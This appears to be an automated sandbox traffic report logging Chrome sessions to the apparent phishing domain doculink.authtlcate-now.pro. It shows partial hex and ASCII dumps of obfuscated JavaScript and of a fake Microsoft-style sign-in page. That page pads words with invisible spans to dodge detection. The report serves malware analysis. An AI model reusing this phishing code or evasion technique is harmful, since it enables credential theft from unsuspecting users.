75 72 6e 22 34 2e 31 2e 33 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e Data Ascii: {},P(n).data(),P(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(P(n),i),r&&P(n).data(H).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49797	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:13 UTC	896	OUT	GET /js/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6337 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:13 UTC	677	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:13 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5G7s9CpooWbJ2VnjBTABeDhJMPgkbV3lQy1GyO2dmSFXYllJaILVRmuDwQ8HHn%2BXLZuWGtfFCr5bcIx3WtVCmXvysbxy4O344gwgyPggAsizQBNqzBwVM1NBRDDva4g3PvKwX937eqlT7EkDj50%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1309bf507d6-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:13 UTC	692	IN	Data Raw: 31 62 38 33 0d 0a 76 61 72 20 5f 30 78 32 32 64 35 62 34 3d 5f 30 78 65 39 33 36 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 7b 76 61 72 20 5f 30 78 35 61 66 63 32 39 3d 5f 30 78 32 65 38 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 65 39 33 36 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 38 30 33 34 2c 5f 30 78 31 36 34 39 61 66 29 7b 5f 30 78 35 65 38 30 33 34 3d 5f 30 78 35 65 38 30 33 34 2d 30 78 31 32 64 3b 76 61 72 20 5f 30 78 34 31 62 66 65 38 3d 5f 30 78 35 61 66 63 32 39 5b 5f 30 78 35 65 38 30 33 34 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 31 62 66 65 38 3b 7d 2c 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1b83var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 5d 28 29 29 3b 7d 7d 7d 28 5f 30 78 32 65 38 39 2c 30 78 36 32 62 30 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 65 38 39 28 29 7b 76 61 72 20 5f 30 78 33 35 37 34 33 62 3d 5b 27 6c 6f 67 27 2c 27 75 6e 64 65 72 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 64 69 73 61 62 6c 65 64 27 2c 27 73 65 61 72 63 68 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 72 65 6d 6f 76 65 43 6c 61 73 73 27 2c 27 3c 62 72 2f 3e 27 2c 27 65 61 63 68 27 2c 27 6a 73 6f 6e 27 2c 27 74 72 61 63 65 27 2c 27 73 74 79 6c 65 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 6e 6f 6e 65 27 2c 27 69 30 31 31 36 27 2c 27 76 61 6c 75 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 72 65 6d 6f 76 Data Ascii: ]());}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','remov
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 39 33 36 3b 69 66 28 5f 30 78 31 31 32 64 61 66 29 7b 76 61 72 20 5f 30 78 33 39 30 31 65 35 3d 5f 30 78 31 31 32 64 61 66 5b 5f 30 78 31 32 66 34 64 38 28 30 78 31 35 38 29 5d 28 5f 30 78 32 38 31 64 34 34 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 5f 30 78 31 31 32 64 61 66 3d 6e 75 6c 6c 2c 5f 30 78 33 39 30 31 65 35 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 5f 30 78 32 62 38 37 64 62 3d 21 5b 5d 2c 5f 30 78 33 63 66 65 63 39 3b 7d 3b 7d 28 29 29 2c 5f 30 78 34 62 39 62 61 35 3d 5f 30 78 64 62 31 63 65 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 38 38 32 35 33 3d 5f 30 78 65 39 33 36 3b 72 65 74 75 72 6e 20 5f 30 78 34 62 39 62 61 35 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 Data Ascii: 936;if(_0x112daf){var _0x3901e5=_0x112daf[_0x12f4d8(0x158)](_0x281d44,arguments);return _0x112daf=null,_0x3901e5;}}:function(){};return _0x2b87db=![],_0x3cfec9;};}()),_0x4b9ba5=_0xdb1cec(this,function(){var _0x488253=_0xe936;return _0x4b9ba5[_0x488253(0x1
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 78 31 63 64 66 39 31 5d 7c 7c 5f 30 78 33 61 65 62 32 61 3b 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 38 29 5d 3d 5f 30 78 31 36 34 39 61 66 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 31 36 34 39 61 66 29 2c 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 3d 5f 30 78 34 31 65 35 39 30 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 34 31 65 35 39 30 29 2c 5f 30 78 35 31 36 64 37 64 5b 5f 30 78 31 63 64 66 39 31 5d 3d 5f 30 78 33 61 65 62 32 61 3b 7d 7d 29 3b 5f 30 78 35 65 38 30 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 73 6c 65 65 70 28 5f 30 78 34 31 35 62 63 31 29 7b 76 61 72 20 5f 30 78 31 35 35 Data Ascii: x1cdf91]\|\|_0x3aeb2a;_0x3aeb2a[_0x3947f6(0x138)]=_0x1649af[_0x3947f6(0x15f)](_0x1649af),_0x3aeb2a[_0x3947f6(0x131)]=_0x41e590[_0x3947f6(0x131)][_0x3947f6(0x15f)](_0x41e590),_0x516d7d[_0x1cdf91]=_0x3aeb2a;}});_0x5e8034();function sleep(_0x415bc1){var _0x155
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 35 32 29 29 2c 5f 30 78 34 62 39 38 35 63 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 33 29 29 3b 70 72 6f 67 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 37 31 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 66 29 29 2c 70 72 6f 67 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 35 29 29 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 30 29 5d 3d 27 31 30 27 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 Data Ascii: [_0x367cb5(0x146)](_0x367cb5(0x152)),_0x4b985c=document[_0x367cb5(0x146)](_0x367cb5(0x133));prog=document[_0x367cb5(0x171)](_0x367cb5(0x13f)),prog[_0x367cb5(0x166)](_0x367cb5(0x165)),_0x261182[_0x367cb5(0x145)][_0x367cb5(0x130)]='10',_0x261182[_0x367cb5(0
2024-04-25 13:31:13 UTC	883	IN	Data Raw: 65 31 62 28 30 78 31 33 34 29 5d 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 39 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 33 31 39 33 33 2c 5f 30 78 31 36 32 34 34 63 29 7b 76 61 72 20 5f 30 78 32 36 38 33 34 38 3d 5f 30 78 32 35 38 65 31 62 3b 5f 30 78 32 62 65 64 39 37 2b 3d 27 27 2b 5f 30 78 31 36 32 34 34 63 5b 30 78 30 5d 2b 5f 30 78 32 36 38 33 34 38 28 30 78 31 34 31 29 3b 7d 29 3b 7d 65 6c 73 65 7b 69 66 28 5f 30 78 33 35 64 31 35 32 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 36 34 29 5d 3d 3d 30 78 31 61 33 29 6c 6f 63 61 74 69 6f 6e 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 31 29 5d 28 29 3b 65 6c 73 65 7b 7d 7d 7d 2c 27 63 6f 6d 70 6c 65 74 65 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 64 63 37 34 29 7b 76 61 72 20 5f 30 78 31 65 Data Ascii: e1b(0x134)][_0x258e1b(0x159)],function(_0x131933,_0x16244c){var _0x268348=_0x258e1b;_0x2bed97+=''+_0x16244c[0x0]+_0x268348(0x141);});}else{if(_0x35d152[_0x258e1b(0x164)]==0x1a3)location[_0x258e1b(0x151)]();else{}}},'complete':function(_0x25dc74){var _0x1e
2024-04-25 13:31:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49798	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	845	OUT	GET /1 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:14 UTC	762	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ybXjz3MDvBbO2NdD6IA5YEWxSG1cdPBethzq4%2BXHJk%2FwsL%2B0aTgPsBXWTYxa8YORCOEGayc8EGu5yE9O%2Be%2B%2BBPSNTGTToVIrGpt5uNHAnBOiiH1X%2FNTOVV6hKwpzgNbN6Iqe32Pkdx9EQiVAa8I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb135e98d675c-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:14 UTC	607	IN	Data Raw: 37 33 62 39 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 32 35 66 66 34 64 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 34 38 61 64 65 31 32 35 34 32 36 33 30 33 39 32 38 64 35 66 36 37 37 62 35 66 63 63 37 36 36 34 36 36 32 61 35 62 32 30 37 32 62 62 30 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: 73b9 <html dir="ltr" class="3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff4d" lang="en"> <head> <title> 48ade125426303928d5f677b5fcc7664662a5b2072bb0 </title> <meta http-equiv="Content-Type" content="text/html; cha
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 32 35 66 66 35 33 2f 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 32 35 66 66 35 34 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 32 35 66 66 35 35 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 33 61 62 31 37 31 66 Data Ascii: 25ff53/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff54" rel="stylesheet"> </head> <body class="cb 3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff55" style="display: block;"> <div> <div> <div class="background 3ab171f
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 32 35 66 66 37 64 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 70 72 6f 67 72 65 73 73 42 61 72 22 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 20 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 32 35 66 66 37 65 22 20 72 6f 6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 50 6c 65 61 73 65 20 77 61 69 74 Data Ascii: <div class="lightbox-cover 3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff7d"> </div> <div id="progressBar" hidden="" class="progress 3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff7e" role="progressbar" aria-label="Please wait
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 74 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 74 3c 2f 73 70 61 6e 3e 67 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 Data Ascii: .03px; font-size: 0.02px;">t</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">t</span>g<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height:
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c Data Ascii: ="col-md-24 error ext-error" id="usernameError"> E<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>n<span style="display: inl
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 Data Ascii: x;">l</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 Data Ascii: x; max-height: 0.03px; font-size: 0.02px;">l</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 65 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a Data Ascii: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>e<span style="display: inline; color:
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 Data Ascii: > <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</spa
2024-04-25 13:31:14 UTC	1369	IN	Data Raw: 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 6c 3c 2f 73 70 61 6e 3e 6d 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 Data Ascii: ht: 0.03px; font-size: 0.02px;">l</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">l</span>m<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-hei

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49799	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
